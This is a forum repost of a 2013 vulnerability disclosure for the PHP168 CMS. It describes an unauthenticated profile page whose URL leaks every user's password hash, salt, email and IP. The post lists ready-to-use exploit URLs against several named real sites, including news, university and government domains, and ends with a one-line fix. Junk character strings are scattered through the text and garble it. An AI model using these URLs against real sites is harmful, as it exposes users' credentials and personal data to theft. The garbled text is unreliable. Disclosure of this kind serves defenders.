|
简要描述： 国微PHP168中出现了一处神奇的array，可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。 详细说明：PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中，这个页面不会在前台使用，但可直接通过URL进行访问。页面路由为：/homepage.php/[用户名]/member-profile9 V# h" v- c% a* `9 ~
+ t4 k, }9 g: W
以PHP168官方演示站点为例，查看任意用户信息的页面链接为：: G- ~9 D' e6 f: [
/ \$ W! Q4 L/ \% u- D
http://php168.cn/com/homepage.php/admin/member-profile' k' y+ y Q2 ~/ T+ c
$ R0 a( x" d v; ~1 Z
由于该模块代码中出现了一句神奇的array，导致用户数据表内所有数据被当作数组取出直接显示出来。, b& a7 {) U% k( ?. L
http://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg( E' u/ F. \$ ~8 N' q% E, ?0 |
9 ~4 { X' x, ^ 漏洞证明：该漏洞影响使用该CMS系统的站点，以PHP168官网上的客户案例为例：# R9 \4 G) M7 f9 n8 F
0 x, G$ T9 s8 ~, P
http://www.zjfzol.com.cn/homepage.php/admin/member-profile
, J' v+ z4 `# S! p1 |# I0 R+ L+ l. {" J% X/ b
http://www.scswl.cn/homepage.php/admin/member-profile
; j) s& ]2 E1 d, R% U, c7 u; A/ R: m: G" v
http://www.tunet.edu.cn/homepage.php/admin/member-profile
8 L' o' ` J" w1 ~& n' [4 k
) t. C/ Y2 b3 |# H- Z' y3 Fhttp://www.itlead.com.cn/homepage.php/admin/member-profile
) w$ k/ a0 V0 J6 Z' [
: H; Z% j- t; x+ k6 A6 r6 _5 R% A9 ]http://www.aedp.cn/homepage.php/admin/member-profile
% n/ }! C: a7 j1 A) ]+ Z. C8 \; ?
k/ T7 a6 ]$ p6 w( thttp://www.qianlongnews.com/homepage.php/test/member-profile, J: g8 N0 l6 Q# H" I% l
) C# Y2 e$ q8 h; ?) V8 phttp://ny.zlxk.com/gov/homepage.php/admin/member-profile 修复方案：去掉输出 [/td][/tr]
9 s* y) X$ T% i3 f+ r( t[/table] | 
发表于 2013-9-21 16:02:53
收藏
支持
反对